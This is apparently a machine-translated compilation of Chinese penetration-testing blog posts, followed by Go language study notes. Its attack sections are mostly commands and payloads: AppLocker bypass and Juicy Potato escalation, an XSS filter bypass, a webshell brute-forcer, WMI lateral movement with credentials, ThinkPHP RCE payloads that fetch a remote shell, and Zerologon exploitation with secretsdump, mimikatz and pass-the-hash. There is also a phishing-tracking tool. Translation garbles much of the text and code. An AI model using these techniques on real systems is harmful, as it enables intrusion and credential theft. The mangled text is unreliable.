只有明确原则,您才能突破更多的限制。 ——@ringzero

一,二,三,二,三,四,转身再次做。

冷静地分析并冷静地做出反应。

0x01简介

提示:只需将其视为负面情况即可。实际上,您获得的方式远不如下面提到的麻烦。我只是责怪自己太不耐烦了.

它最初是卑诗省项目创建的促销场所,但当时只有外壳

1

权限是普通用户。当他想提高许可以进一步收集服务器上的信息时,他发现拒绝运行各种事情的权限,并提示小组策略阻止程序。当时,由于还有其他事情,他没有继续研究它(用户名更敏感,整个过程将在稍后进行编码)。

2

0x02旁路pastocker

我最近突然想起了它,所以我继续这样做,问小组的主人

3

知道它是什么后,很容易说。如果您耐心地寻找它,您将始终获得一些东西。 Applocker简介:

https://baike.baidu.com/item/applocker/2300852?fr=aladdin

然后我找到了3G大师的文章:

https://3Gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/

如何具体使用它,请自己阅读文章。阅读本文后,后续行动的总体想法将很清楚。

0x03在线升级

我认为,旁路Applocker允许目标服务器在启动马匹后执行随后的功率升级。但是,在外壳下的净用户,任务列表/SVC等的执行不得回声,否则可以判断和杀死该过程比较(我自己写的小轮子,匹配过程已增加到960+:3http://get-av.se7ensec.cn/)

既然我不知道,我会争夺我的角色,并打赌,主机中没有杀人软件。我通过上面的3G主文章的第三种方法跑了马,然后成功地上网,忽略了下面的机器.

4

启动CS后,运行一些命令,例如以下命令,任务清单/SCV仍将被拒绝访问。

5

然后,我尝试了内置的CS系统进程命令“ PS”,并成功列出了系统进程。看完之后,它确实没有杀死该软件。

/*忘了屏幕截图*/

运行“ Shell SystemInfo”,发现可以看到系统和补丁信息。但是,该系统根本没有应用一些补丁。我很幸运。我查看了用户的许可,并满足了多汁的土豆的要求。我可以直接尝试撤回腐烂的马铃薯的权利:

https://www.4hou.com/posts/vzol

经过测试后,我发现它是启动的(实际上我已经执行了执行权限,但是当时我没想到有什么问题。我意识到当我稍后总结文章时,我意识到出了问题。有关详细信息,请参阅文章的结尾)。我在C: \ Users \ public \下获得了执行权限。我用多汁的马铃薯用Whoami参数执行,并成功返回系统。

6

然后使用它直接卸下,并且系统会话将在几秒钟内进行。翻转目录后,我发现它仍然是一个网站组。

7

进行管理员权限的屏幕截图。难怪有这么多。事实证明,他们都分批建立网站:

8

0x04摘要

碰巧这次我很幸运,没有遇到杀手,否则这将是一条颠簸的道路,将会更具挑战性。

最大的失败是,这次我没有提前完全了解Appleocker的某些功能:3https://www.anquanke.com/post/id/159892。我急于搜索旁路方法并开始使用它。实际上,这次我遇到的只是文件路径的限制。 C: \ Users \ public \可以执行程序。早些时候发现并不难。但是,能够充分理解应用程序机制也是一种回报。

最后,我要感谢Haya和Beli1v1大师的指导和帮助。

便便测试

0x01简介

流行病的影响,在新年假期里呆在家里很无聊。我去了一个平台检查人群测试项目,考虑为面具赚钱

1.png

0x02直接关闭

一开始,我试图直接关闭A标签,但发现输出将以物理方式编码,因此我放弃了

2.png

0x03 JavaScript伪pseudo协议

由于输出在A标签的HREF中,因此尝试伪协议,有效负载如下:

1Javascript:Alert(document.domain)提交后,发现输出内容已直接过滤。

3.png

经过几次尝试,将过滤绕过以下有效载荷,并成功弹出了窗口。

1Javastab; Script:Alert(1)4.png

但是,一个小的破碎弹出窗口如何证明伤害

0x04旁路限制到加载外部JS

我直接使用了XSshunter的有效载荷。提交点击后,我发现执行无法成功。

5.png

在仔细比较输出内容和原始内容之后,我发现在输出时,所有字符均以小写为单位。

6.png

在这里,我们首先了解XSS中的编码问题。在评估中支持Unicode编码。最终构造的有效载荷可以单独编码大写字母。

最终效果:

7.png

0x05报告结果

我认为至少可以陷入危险情况,但是制造商认为需要单击这一点才能进行互动,这给人以较低的风险。

上诉:评级时,请查看功能点,毕竟,这是需要单击的业务功能。

制造商的反馈:经过讨论,在JavaScript的开头很难使用恶意链接,因此评级是低风险的。

给爪子

武术世界中的人们被称为轮子妈妈。

爆炸想法参考:

https://www.t00ls.net/thread-36985-1-1.html

我之所

用法的示例:

假设当前的外壳是:

1?php @eval($ _ post [a]);1)Burp Loading生成的爆炸字典

1.png

2)关闭URL编码(非常重要)

2.png

3)获取结果

3.png

4.png

该方法可以灵活地使用,其余的可以自由使用。

GitHub地址:

https://github.com/r00tse7en/shellbruter

基于WMI的侧向运动

WMI简介

WMI的全名是Windows Management仪器。它出现在所有Windows操作系统中,并由一组强大的工具组成,用于管理本地或远程Windows系统。攻击者使用WMI攻击,但是Windows系统默认情况下不会在日志中记录这些操作。它可以是无木的。攻击脚本不需要写入磁盘,这会增加隐藏。建议使用WMIC远程执行命令。

WMI利用条件

远程服务器启动Windows Management Instrumentation服务(默认为ON)

端口135未过滤[如果在默认配置下启用了目标主机防火墙,则不会连接防火墙]

连接失败常见错误编号:

1234567891111213141516171819202121。允许共享异常错误:代码=0x800706BA描述=RPC服务器不可用。设备=Win322。错误:当组策略封锁indurandIvestraotr远程访问=0x80070005描述=访问被拒绝。设备=Win323.IP安全策略块135错误:代码=0x800706BA描述=RPC服务器不可用。设备=Win324。错误:禁用Winmgmt Service=0x80070422描述=无法启动服务时代码,因为它可能被禁用或与之关联的设备未启动。设备=Win325。 Wbem directory permission is denied, wmic cannot be used.

使用WMIC进行水平运动

通用系统带有命令

123456781. List remote host process wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:00!@#123QWE process list brief2.执行BAT脚本WMIC /NODE:192.168.1 /user:192.168.1.1.1 \administrator /passwork:0!@#123QWe Process Calles CALTER CALLE CALLE CALCE CALES CARTE CREATE C: \ PROGRAMDATA \ PROGRAMDATA \ TEST.BAT33。在远程系统WMIC /NODE:192.168.1 /user:192.168.1.1.1 \administrator /password:0上执行单个命令https://www.cnblogs.com/0xdd/p/11393392.html

批处理爆炸

练习后,WMI的爆炸将有3个以上的错误。 360将拦截[没有软杀时,没有测试],日志是远程RDP爆炸,WMI的连接将受到临时限制。

※以下是一个密码爆炸。如果需要爆炸多个密码爆炸,则可以根据IPC侧面的文章水平移动它来对其进行修改。

点点:请注意特殊字符,例如密码中的%需要使用%示例:123#$%应该转换为123#$ %%

1234567891011@echo ofcho offclsecho useage:%0 ip.txtfor /f %% i in(%1)do(echo wmic /node: %% i /user:'%% i \ indersantor' /user:'%% i \管理员' /password:'123456'进程列表简短2nulif errorLevel==0(echo Success: %% i pic.txt)echo end.txt End.txt

使用工具

-1

wmiexec.vbs

Impacket-wmiexec

尚未测试

wmiexec.vbs是一种开发的工具,旨在解决WMIC无法回声命令的工具。原理是首先将数据保存在临时文件中,并在每次读取执行结果后自动删除数据。它可用于回声“执行命令”的结果并获得“半相互作用壳”。

1cscript wmiexec.vbs /cmd 192.168.1.1管理员测试@123 Whoami

SharpWmi

优点:支持PTH

缺点:它需要调用WMI服务,占据目标的445、135和另一个随机端口。

使用参考:域渗透——通过哈希实现(3Gstudent.github.io)

SharpWmi(修改版本)

这是一种基于端口135水平移动的工具。它具有执行命令和上传文件的功能。它通过WMI执行命令,并通过呼叫传输数据。

优点:仅依靠端口135,而不依靠港口139和港口445

缺点:当前,仅支持将文件上传到512kb以下,因为重置每个值的长度不能超过512kb。执行命令和上传文件都取决于PowerShell(由360拦截)https://github.com/qax-a-team/sharpwmi

Wmihacker(推荐)

https://github.com/idiotc4t/sharpwmi

这是一种基于端口135的水平移动的工具。它具有执行命令和上传文件的功能。它通过WMI执行命令,并通过注册表传输数据。

拉登

水平穿透的远程命令执行是创建服务或调用win32_process.create excution命令。这些方法已被SWSW.CKER水平运动测试工具100%截获。 (仅依靠端口135,不依靠端口139和港口445)

重要:支持PTH-https://github.com/360-linton-lab/wmihacker/issues/1

主函数:1。命令执行; 2。文件上传; 3。文件下载

https://github.com/360-linton-lab/wmihacker

Sharp-Wmiexec

模块功能

目标端口

目标系统

用法教程

WMI爆炸

港口135

视窗

http://K8GE.org/ladon/wmiscan.html

WMI-NTLMHASH爆炸

港口135

视窗

http://k8ge.org/ladon/wmihashscan.html

Wmiexec(推荐)

港口135

视窗

仅端口135在注册表中回荡,侵袭者或其他也依赖445的工具,并且不依赖PowerShell,适合任何目标

Wmiexec2

港口135

视窗

像Wmiexec一样,通过注册表回声仅需要端口135,但是依靠PowerShell,没有PowerShell的目标可能不适用。

WMICMD

未使用,尚未测试

https://github.com/checkymander/sharp-wmiexec

010-1010未使用,尚未测试

https://github.com/nccgroup/wmicmd

本文不能追溯到安全团队官方帐户的来源

0x01简介

我使用ThinkPhp v5.0。*框架和调试模式启用了该网站。我认为可以通过发送有效载荷来解决它,但是我没想到要完成它的过程。

0x02触摸坑

尝试执行命令,系统受到限制

1.png

尝试包括日志文件,open_basedir限制

2.png

这是一个想法,您可以在运行时包含日志文件,但是ThinkPHP的日志文件相对较大,有时会有许多奇怪的问题阻止代码执行。让我们将其作为替代方案。

3.png

尝试通过在thinkphp本身库中设置会话方法,然后将其写入TMP目录中的会话文件,然后包含它

1_method=__ constructFilter []=Think \ Session \ Session:SetMethod=GetServer [request_method]=? phpinfo();

4.png

俗话说,

0x03 getshell

,三名鹅卵石是一个Zhuge Liang,在向大师赛寻求帮助后,他们提供了解决方案。

诺埃尔大师的解决方案和分析:

5.png

call_user_func存在于request.php的filterValue函数下。根据有效负载,该过程已被跟踪。

首先,您将输入app.php的运行方法

12345678911112131415161719202122222222222255PUBLIC静态函数运行(请求$请求$ request=null){……………………………………………………………………………………………………………………当前课程以获取调度信息。如果您在索引模块下的索引控制器中访问索引方法,则$ dispatch=array(2){['type']=字符串(6)'模块'['module'['module']=array(3){[0]=string(5)=string(5)'index'[1]=string(5)=(5)'index'index'index'[2]=string(5)'index'indect==} self:Routecheck($ request,$ config); } //记录当前的调度信息中检索到的计划信息,即模块,控制器和方法名称存储在请求类$ request-request-dispatch($ dispatch)的调度属性中; //记录路由和请求信息。该模式可在\ application \ config.php参数app_debug中配置,if(self: $ debug){log3:333:record('[oute route]'。 log:record('[header]'。var_export($ request-header(),true),'info'); log:record('[param]'。var_export($ request-param(),true),'info'); }………………………………}在这里,我们主要关注两个函数Routecheck和param,首先查看Routecheck

12345678PUBLIC静态函数RouteCheck($ request,array $ config){$ path=$ request-path(); $ dep=$ config ['pathinfo_depr']; $结果=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']);它主要通过请求参数传递,并且在检查后基本上对所有内容进行了处理。

6.png

启用调试模式后,您可以输入param函数

1234567if(empty($ this-param)){$ method=$ this-method(true); $ this-param=array_merge($ this-get(false),$ vars,$ this-route(false));} return $ this-pution($ this-param,$ name,$ name,$ default,$ default,$ filter);跟进输入功能

1234567891011公共功能输入($ data=[],$ name='',$ default=null,$ filter=''){. $ filter=$ this-getFilter($ filter,$ filter,$ default);如果(is_array($ data)){array_walk_recursive($ data,[$ this,'filterValue'],$ filter);重置($ data); } else {$ this-filtervalue($ data,$ name,$ filter); } getFilter取出过滤器的值,这是断言

array_walk_recursive

array_walk_recursive()函数将用户定义的函数应用于数组中的每个元素。在函数中,数组的密钥名称和键值是参数。此函数和array_walk()函数之间的区别在于它可以操纵更深的数组(一个数组包含另一个数组)。

并将filterValue函数应用于$数据的每个元素,然后跟进filterValue

12345678功能滤波器($ value,$ key,$ efferters){. if(is_callable($ filter)){//调用函数或滤波$ values $ value $ value=call_user_func($ filter,$ filter,$ value); } ...} Master Gunmeng的解决方案和分析:

有效载荷参考:

来自:https://xz.aliyun.com/t/3570#toc-4

1http://127.0.0.1/index.php?s=index/think/think/invokefunctionfunction=call_user_func_arrayvars [0]

1https://127.0.0.1/?s=./\ think \ app/InvokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=phpinfo()=phpinfo()

1https://127.0.0.1/?s=./\ think \ app/invokefunctionfunctionfunction=call_user_func_arrayvars [0]=assertvars [1]=copy('http://127.0.0.0.0.0.1.1/shell.txt'1/shell.txt',考虑到当前的目录情况和分析:

7.png

Route.PHP的parseurl功能将处理URL

1234567 PRIVATE静态函数parseurl($ url,$ dep='/',$ autoSearch=false){. $ url=str_replace($ dep,'|',$ url);列表($ path,$ var)=self:parseurlpath($ url);}首先用|在URL中替换/然后帕尔塞尔路径将URL分开

123456789111121314151617PRIVATE静态函数parseurlPath($ url){//定界列表替换确保路由定义使用统一的定义者$ url=str_replace('|'|',','/'/'/',$ url); $ url=trim($ url,'/'); $ var=[]; if(false!==strpos($ url,'?')){..} elseif(strpos($ url,'/'')){//[module/controler/controler/operation] $ path=exploit('/',',$ url); } else {.} return [$ path,$ var]; }获取以下三个部分

8.png

loder.php下的parsename函数当模块加载时

1234567891011 PUBLIC静态函数parsename($ name,$ type=0,$ ucfirst=true){if($ type){$ name=preg_replace_callback('/_/_([a-za-za-z])返回$ ucfirst? ucfirst($ name): lcfirst($ name); } else {return strtolower(trim(preg_replace('/[a-z]/','_ \\ 0',$ name),'_''_')); }} 9.png

现在\ think \ app类将被实例化,并将执行InvokeFunction方法

10.png

因此,添加的原因./\是您可以进一步向前跳来跳去

0x04旁路disable_functions

视图禁用

11.png

我没有在开始时仔细看残疾的内容,所以我只是使用了

https://github.com/yangyangwithnu/bypass_disablefunc_via_ld_preload

但是发现Putenv被禁用了

12.png

通过本文更改方法

https://Mochazz.github.io/2018/09/27/%E6%B8%9M97%E9%E9%80%80%80%8F%E6%B5%B5%8B%E8B%E8%AF;

我了解到使用PCNTL扩展名,确认系统支持

13.png

最后,该命令成功执行

14.png

CVE-2020-1472

https://www.anquanke.com/post/id/219374

本文提到了一种适用于无法恢复其他方法的方法

DeDomain之后,您可以使用PowerShell强制同步并一次重置计算机的机器帐户密码。 (包括AD,注册表,LSA中的密码)。 1powershell Reset-ComputerMachinePassword

环境

12 Domain: AAAA.COMDC: LX-DC01.AAAA.COM -ip- 192.168.1.4

Python版本

poc

https://github.com/SecuraBV/CVE-2020-1472

1Python3 Zerologon_tester.py LX-DC01 192.168.1.4

安装爆炸式

12GIT克隆https://GITHUB.COM/SECUREAUTHCORP/IMPACKET.GITCD impacket pip3 install。

漏洞利用

https://github.com/risksense/zerologon-set_empty_pw.py

1python3 set_empty_pw.py LX-DC01 192.168.1.4

获取域管理员的哈希

1python3 secretsdump.py AAAA.COM/LX-DC01\$@192.168.1.4 -no-pass

使用wmiexec

使用“管理员”哈希获取域管理权限

1python3 wmiexec.py -hashes :BE833AC3F39C0F843B1B653D37C34DBE AAAA.com/administrator@1192.168.1.4

获取目标原始哈希

1010 123REG SAVE HKLM \ hklm \ hklm \ saveg System.savereg Sake Save Save Save HKLM \ Sam.secore Security 33 33 33 33 33 33 33 33 33 123get system.saveget sam.saveget Security.save put点:此步骤可能导致Python无法下载1234个以不同语言的编码。 You can first get the following language and then search for the corresponding encoding https://docs.python.org/3/library/codecs.html specify the following encoding python3 wmiexec.py -hashes :be833ac3f39c0f843b1b653d37c34dbe aaaaa.com/administrator@192.168.1.4 -codec GB2312也可以使用Net用途将文件复制回1234567mimi注射hash hash中cmdprivilege:333:Debugsakurlsakurlsa33333333333333333333333333:ISTRITAR /domain:AAAA /NTLM:BE833AC3AC3F39C0F843B1B653D37C34C34DBENET使用\ \ 192.168.1.1.4copy \\ \ \ \ \ 192.168.1.1.1.1.1.4 \ c $ \ c $ \ c $ \ c333333333333: \ c3: \ \\192.168.1.4\c$\sam.save c:\sam.savecopy \\192.168.1.4\c$\security.save c:\security.save

将导出的哈希文件下载到本地

123del /f system.savedel /f sam.savedel /f security.save

删除域控制主机上导出的哈希文件。

1Python3 SecretSdump.py -sam sam.sam.save -System System.Save -security Security.Save local

使用SecretsDump读取下载到局部区域的哈希文件,并获取原始哈希域控制机器帐户位于前所未有的位置

建议使用:脚本可能缺少XXX软件包,导致错误。我还没有弄清楚原因是什么

https://github.com/mstxq17/cve-2020-1472-RestorePassword.py

1Python3 RestorePassword.py aaaa.com/lx-dc01@lx-dc01 -target-ip 192.168.1.4 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f96956 3803B0F1BAE7CCD24B29B41AE611025F1952793562D73E7F4E7F4E0F4E0F8938B3361332B3 5DD5EE222785B79B922149DB32DC5C9301F4F4FD9FD090F532575BF5197A9C9230955 BFD96AB928AE66B3999730C75B8545E26770816F21F21F2BF9DBBBBB19432211A91224C 4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240 bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960不建议:更暴力,将再次调用,并且使用空密码的哈希来计算session_key

https://github.com/risksense/zerologon -renstall_original_pw.py

1Python3 Reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_IP_IP_ADDR ORIG_NT_HASH

密码恢复

:010

mimikatz版本

1 SHELL C: \ INTEL \ INTEL \ MIMIKATZ.EXE /counch:lx-dc01 $''exit'1lsadump:zerologon /target:192.168.1.4 /councel:lx-dc01 $ :010101010110110 1shell C: \ intel c: 'lsadump:3:zerologon /target:lx-dc01.aaaa.com /counce:lx-dc01 $ /exploit'E exit'1lsAdump:3333:zerologon /target 3:lx-dcell ofer C:\Intel\mimikatz.exe 'lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAA /authpassword: /authntlm' 'exit'1lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAAA /authpassword: /authntlm

poc

1shell C:\Intel\mimikatz.exe 'privilege:debug' 'sekurlsa:pth /user:administrator /domain:AAAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe' 'exit12privilege:debugsekurlsa:pth /user:administrator /domain:AAAAA /NTLM:BE833AC3F39C0F843B1B653D37C34DBE

漏洞利用

1 SHELL C: \ INTEL \ MIMIKATZ.EXE'lsAdump333333:posterologon /Terogolologon /tarogolologon /tarogologon.44.44.44.44.44.444.44。 /counch:lx-dc01 $''exit'1lsadump:3:postzerologon /target:192.168.1.4 /councor3:lx-dc01 $ $

一个好的钓鱼竿和诱饵很重要,但是真正将鱼与渔夫联系起来的是小浮标。

效果预览

当您在河边钓鱼时,您必须使用浮子来知道河里是否有鱼来吃诱饵。同样,当发送电子邮件时,该探测器可以确定目标是否点击了电子邮件,因此不难等待。

背景登录

tz0.png

信息视图

tz1.png

链接生成

此程序通过php中的readfile()函数读取本地图像。如果使用自定义图像,请在公共目录中替换info.png。这里的图片可以使用目标公司的徽标。

tz2.png

配置相关

基于ThinkPhp 6开发

操作环境需要Apache和Php7.1+

数据库文件是mail.sql

数据库和其他配置可以修改为env文件,默认值为

1234567891011121314151617APP_DEBUG=false[APP]DEFAULT_TIMEZONE=Asia/Shanghai[DATABASE]TYPE=mysqlHOSTNAME=127.0.0.1DATABASE=mailUSERNAME=rootPASSWORD=rootHOSTPORT=3306CHARSET=utf8DEBUG=false[LANG]default_lang=ZH-CN背景默认帐户密码(您可以通过修改密码直接替换库中的MD5)

1admin | 123456

下载地址

?username=r00tSe7en&theme=dracula&repo=Mail-Probe

谢谢

@c1y2m3共享想法

参考(ctrl c+v)https://www.kancloud.cn/kancloud/the-way-to-to-go//

作为研究指出,仅记录关键点。

初始

平台和体系结构

GO语言开发团队为以下操作系统开发了一个编译器:

Linux

freebsd

Mac OS X(也称为Darwin)

目前有2个编译器:GO Native编译器GC和非本地编译器GCCGO。两个编译器都在类似Unix的系统下工作。其中,编译器的GC版本已移植到Windows平台并集成到主分布中。您也可以通过安装MINGW在Windows平台上使用GCC编译器。两个编译器都以单通道形式工作。

您可以在以下平台上获得GO 1.4源代码和二进制文件:

Linux 2.6+:AMD64,386和ARM架构

Mac OS X(Snow Leopard + Lion):AMD64和386架构

Windows 2000+:AMD64和386架构

GO环境变量

$ goroot表示GO在计算机上的安装位置。它的价值通常为$ home/go。当然,您也可以在其他地方安装它。

$ gacararch代表目标机器的处理器架构,其值可以为386,AMD64或ARM。

$ Goos代表目标机器的操作系统,其值可以是Darwin,FreeBSD,Linux或Windows。

$ Gobin代表编译器和链接器的安装位置。默认值为$ goroot/bin。如果您使用的是1.0.3及以后,则通常可以将其值设置为空。 GO将使用上述默认值。

安装目录列表

/bin:包含可执行文件,例如:编译器,GO工具

/doc:包含示例程序,代码工具,本地文档等。

/lib:包括文档模板

/MISC:包含与支持GO编辑器和CGO示例有关的配置文件

/os_arch:对象文件(.a)包含标准库的软件包

/src:包含源代码构建脚本和标准库的软件包的完整源代码(GO是开源语言)

/src/cmd:包含GO和C的编译器和命令行脚本

GO DEBUGGER

使用打印语句在适当的位置输出相关变量(PRINT/PRINTLN和FMT.PRINT/FMT.PRINTLN/FMT.PRINTF)的值。

使用fmt.printf中的以下规范打印有关变量的相关信息:%+v打印包括字段在内的实例的完整信息

%#V打印有关一个实例的完整信息,包括字段和合格的类型名称

%t打印一种类型的完整描述

使用恐慌语句(第13.2节)获取堆栈跟踪信息(所有称为功能的列表,直到恐慌)。

使用关键字延期跟踪代码执行过程(第6.4节)。

构建和运行GO程序

在大多数IDE中,在构建每个程序并保存格式的源文件之前,自动调用源格式工具GOFMT。如果构建成功,将不会输出信息。当发生编译时错误时,它将指示源代码中发生了哪种错误线,例如:声明且未使用。通常,您可以双击IDE中的错误消息,然后直接跳到发生错误的线路。

如果程序顺利执行并成功退出,则将在控制台上输出的代码0的程序将输出。

从GO 1开始,请使用go构建应用程序的更方便的工具:

去构建编译并安装自己的软件包和依赖项

去安装自己的软件包和依赖项软件包

语言的核心结构和技术

基本结构和基本数据类型

你好world

123456789package mainimport ( 'fmt')func main() { fmt.Println('hello, world')}

包的概念

Package is a way of structured code: each program consists of the concept of a package (usually referred to as pkg), and can use its own package or从其他软件包导入内容。

软件包主是指可以独立执行的程序,并且每个GO应用程序包含一个称为MAIN的软件包。

所有包装名称均应使用小写字母。

注释

//单行注释/* xxxx */多行评论

功能

您可以在括号()中编写0个或更多函数的参数(使用逗号,分离),每个参数的名称必须随后是该参数的类型。

1func sum(a,b int)int {返回a + b}

类型

基本类型:int,float,bool,string

结构化(复合):结构,阵列,切片,地图,通道

结构化类型没有实际值,它将零作为默认值使用

键入转换

类型B=B=B=B=类型的值(A型值的值)

1valueofTypeb=typeb(valueoftypea)

常量

123456牛肉,两个,c=“肉”,2,“ veg” const,星期一,星期二,星期二,星期三,星期六,星期六,星期六=1、2、2、3、4、5、5、6const(星期一,星期三,星期三,星期三,星期三,星期三,星期三,星期三,星期三,星期四,星期四,星期四,星期四,星期四,星期四,33,星期四变量,将变量的类型放在变量的名称之后

123456789111121314151617VAR标识符类型多行自动根据变量VAR的值自动推断其类型(a=15 b=false=false='go hello hello to the the the World!'numships=50 city string)并行\ cam c=5,c=5,7,abc'abc''命名法,即第一个单词是小写,每个新单词的第一个字母是大写,例如:numships and Startdate

变量(常数,类型或功能)在程序中具有一定的动作范围,称为范围。

如果在功能主体之外声明变量,则它被视为一个全局变量,可以在整个软件包,外部软件包(导出后)中使用,无论您声明哪个源文件或您在哪个源文件中调用该变量。

在功能体中声明的变量称为局部变量,其范围仅在函数体内,而参数和返回值变量也是局部变量。

变量

函数FMT.print和fmt.println使用格式标识符%V自动格式化字符串,这两者都会在每个参数之间自动添加空格,而后者也在字符串末端添加了一个newline。例如:

123fmt.print('Hello:',23)将输出:Hello: 23

打印

该变量可以在全局声明中初始化,也可以在INIT函数中进行初始化。

它不能人为地调用,但是在初始化每个软件包后会自动执行,并且执行优先级高于主函数。

源文件只能包含一个初始化功能。初始化始终以一个线程执行,并按照软件包的依赖项顺序执行。

init.go

123456789包装传输'Math'var Pi float64func init(){pi=4 * MATH.ATAN(1)//init(1)//init(init()函数pi} pi} user_init.go imports intimpt trans(在同一路径中)并使用变量pi

123456789101112 package mainimport('fmt'./trans')var twopi=2*trans.pifunc main(){fmt.printf('2*pi=%g \ n',twopi,twopi)布尔类型只能是恒定的还是错误的

数字类型:整数int和浮点浮点

格式指定符:在格式字符串中,%d用于格式化整数(%x和%x用于格式化在十六进制中表示的数字),%g用于格式化浮点(%f输出浮点数,%e输出数量floing e uptucts e Outputs Scientific Countific Counting代表),并使用%0D来指定输出固定长度长度Integer,在此中必不可少。

数值转换:当转换A32BitInt=INT32(A32Float)时,将丢弃小数点后的数字。

复数:GO具有以下复数类型:

12COMPLEX64(32位真实和虚构)复杂128(64位真实和虚构)位操作:一元操作员:逐个位置补充^,左侧移动,右移,位右移动

二进制运算符:位和位,位或|,位Xor ^,位清除^

逻辑运算符:==,=,=,=

算术运算符:可用于整数和浮点数的常见二进制运算符为+, - , *和/。

运营商和优先级:

一些操作员的优先级更高,二进制运算符的操作指示是从左到右的。下表列出了所有操作员及其优先级,从上到下,下到底到下,表示优先级从高到低:

12345678优先操作员7 ^! 6 * /% ^ 5 + - | ^ 4==!====3-2 1 ||当然,您可以通过使用括号暂时增加特定表达式的总体操作优先级。

类型别名:1Type tz int字符类型:char.go

1234567891111213VAR CH Int='\ u0041'var ch2 int='\ u03b2'var ch3 int='\ u00101234'fmt.printf('%d -%d -%d -%d -%d -%d -%d -%d -%d -%d -%d \ n',ch,ch2,ch2,ch3,ch3,ch3,ch3,ch3,ch3) CH2,CH3)//farmicfmt.printf('%x-%x -%x \ n',ch,ch2,ch3)//utf-8 bytesfmt.printf('%u -%u -%u -%u',ch,ch2,ch2,ch3,ch3)//utf -8代码点输出:65-946-10533336A--946-105332336A -R41-R4 101234U+0041 -U+03B2 -U+101234

init函数

字符串类型的零值是一个零长的字符串,即,一个空字符串''。

一般比较运算符(==,=,=,=,)实现了通过内存中字节对字符串的比较。您可以使用函数len()来获取字符串占据的字节长度,例如:len(str)。

字符串剪接字符+:两个字符串S1和S2可以通过S :=S1 +S2,S +='World'一起剪接。

解释字符串:

此类字符串包含在双引号中,相关的逃生字符将被替换,包括:

\ n:断路

\ r:马车返回

\ t:选项卡键

\ u或\ u:unicode字符

\\:后斜线本身

非解释字符串:

这类字符串封闭在背部和支持线路断裂中,例如:

1`这是一个原始的字符串\ n`将按原样输出。

基本类型和操作员

12345678911112121415161718192022222222222224252627PACKAGE MAINIMPOAGE('fmt'time'time'time'time'time'time.durationfunc main()星期三12月21日09:52:14 +0100 rst 2011 fmt.printf('%02d。%02d。%4d \ n',t.month(),t.month(),t.year(),t.year(),//21.12.212.2011 t=time.now time.now() 08:52:14 +0000 UTC 2011 FMT.PRINTLN(time.now()) T.ADD(周) //星期三12月21日08:56:34 2011 FMT.PRINTLN(T.FORMAT('02 JAN 2006 15:04'))//)//21 DEC 2011 2011 083:52 S 3:=T. format(format 08:52:14 +0000 UTC 2011=20111221}

字符串

该程序将其值存储在内存中。每个内存块(或单词)都有一个地址,该地址通常由十六进制数字表示,例如:0x6B0820或0xF84001D7F0。

指针变量可以指向任何值的内存地址。它指向该值的内存地址,在32位计算机上占据4个字节,在64位机器上占据了8个字节,并且与指向的值的大小无关。

GO语言的地址字符是,它将在将其放置在变量上之前返回相应变量的内存地址。

指针类型之前是*编号(前缀),以获取指针指向的内容。 *数字是类型更换器。使用指针参考值称为间接参考。

当定义指针并且未分配给任何变量时,其值为零。

指针变量通常缩写为PTR。

示例:显示将新值分配给*p并更改变量自己的值(这是字符串)

12345678911112131415 package mainimport'fmt'func main(){s :='good byed bye'v var p *string=s *p='ciao'fmt.printf('这是指针p:%p:%p:%p3360%p33,在这里p33 prints prints prints prints p3 3 %s \ n', *p)//打印字符串fmt.printf('这是字符串s:%s \ n',s)//same string} outter}输出:这是指针p:0x2540820在此处,在此处是字符串*p: ciaohere是字符串S3333333:11010101010101010101010101010101010101010101010101010101010101010101033333333333333333333333333333333333333333333:10010 1234567891111213141516171920212222324IF条件1 {//如果条件2 {//做某事数字,例如3'+'or%s to doiT.'func init(){如果runtime.goos=='windows'{stript=fmt.sprintf(stript,'ctrl+z,enter')} else {//unix-like提示=fmt=fmt.sprintf(提示条件1:案例条件2: default:}

时间和日期

指针

123456789Package Mainimport'fmt'func Main(){for I :=0;我5; i ++ {fmt.printf('这是%d迭代\ n',i)}}}

控制结构

,它可以迭代任何集合(包括数组和地图),其一般形式为:for IX,Val :=range coll {}。

val始终是集合中相应索引值的副本,因此它通常只有仅阅读属性,并且对其进行的任何修改都不会影响集合中的原始值(Translator的注释:如果Val是指指针,则将生成指针的副本,并且集合中的原始值仍可以修改)

123for pos,char :=范围str {.}

if-else结构

破坏动作范围是出现此陈述后的最内向结构,可以以任何形式用于循环(反,有条件判断等)。但是在开关或选择语句中,断点语句的效果是跳过整个代码块并执行后续代码。

继续忽略剩余循环主体并直接进入下一个循环的过程,但是下一个循环并未无条件执行。在执行之前,仍需要满足循环的判断条件。

开关结构

,用于,开关或选择语句可以与标签形式的标识符一起使用,即以一条线上的结肠(:)结尾的第一个单词(GOFMT将自动将后续代码移动到下一行)。

123456789 label1: for I :=0; i=5; i ++ {for J :=0; j=5; J ++ {如果J==4 {继续Label1} fmt.printf('I IS:%D,和J IS:%D \ n',I,i,j)}}}}}}}}}}}}}

对于结构

-1010 3333660010 :010

基于反迭代

10101010101010101011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111马云惹不起马云191199来实间mainimport'fmt'func main(){fmt.printf('乘2 * 5 * 5 * 6=%d \ n',乘数3nums(2,5,6))//var i1 int=var i1 int=multiply3nums(2,5,5,5,6) int,c int)int {//var product int=a * b * c //返回产品返回产品a * b * c}输出显示:倍数2 * 5 * 6=60 3

范围结构

getx2andx3带有getx2andx3_2的两个函数演示如何使用非命名返回值和命名返回值。当需要返回多个非命名返回值时,需要使用(int,int)封闭它们。

